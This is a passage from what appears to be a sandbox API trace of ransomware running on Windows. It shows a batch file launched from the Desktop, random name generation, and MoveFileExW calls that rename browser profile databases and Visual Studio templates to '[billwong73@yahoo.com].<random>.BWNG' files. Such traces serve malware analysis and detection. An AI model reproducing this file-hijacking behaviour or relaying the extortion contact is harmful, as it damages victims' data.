\"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"", lpProcessInformation=0x368f864*(hProcess=0x130, hThread=0x198, dwProcessId=0xc64, dwThreadId=0xca0)) returned 1 [0135.035] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0x1388) Thread: id = 90 os_tid = 0x67c [0033.869] GetTickCount () returned 0x1153afe [0033.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17582142220) returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0033.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.870] GetTickCount () returned 0x1153afe [0033.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17582180759) returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0033.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0033.870] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].H5IYVfAq-JJMgT5VW.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].h5iyvfaq-jjmgt5vw.bwng"), dwFlags=0x1) returned 1 [0033.871] GetTickCount () returned 0x1153afe [0033.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17582285643) returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0033.871] GetTickCount () returned 0x1153afe [0033.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17582319115) returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0033.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0033.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].jRqqzSem-GOovjCJY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].jrqqzsem-goovjcjy.bwng"), dwFlags=0x1) returned 1 [0033.872] GetTickCount () returned 0x1153afe [0033.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17582403155) returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.872] GetTickCount () returned 0x1153afe [0033.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17582436076) returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0033.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0033.872] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfiginternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].kHnF8C8q-MNRon4Ry.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].khnf8c8q-mnron4ry.bwng"), dwFlags=0x1) returned 1 [0033.873] GetTickCount () returned 0x1153afe [0033.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17582521007) returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0033.873] GetTickCount () returned 0x1153afe [0033.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17582554392) returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="0") returned 1 [0033.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0033.874] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Resource.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\resource.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].SMJlzPis-RY30TPJ8.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].smjlzpis-ry30tpj8.bwng"), dwFlags=0x1) returned 1 [0033.874] GetTickCount () returned 0x1153afe [0033.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17582642389) returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0033.874] GetTickCount () returned 0x1153afe [0033.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17582675242) returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0033.875] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Class.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\class.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].Y2srRFqL-Q7CMiIBg.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].y2srrfql-q7cmiibg.bwng"), dwFlags=0x1) returned 1 [0033.875] GetTickCount () returned 0x1153afe [0033.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17582754551) returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0033.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0033.876] GetTickCount () returned 0x1153afe [0033.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=17582787927) returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0033.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0033.876] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\SettingsInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\settingsinternal.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].ZAdgvZzi-3xj3qFS4.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\[billwong73@yahoo.com].zadgvzzi-3xj3qfs4.bwng"), dwFlags=0x1) returned 1 [0033.877] GetTickCount () returned 0x1153afe [0033.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17582882649) returned 1 [0033.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 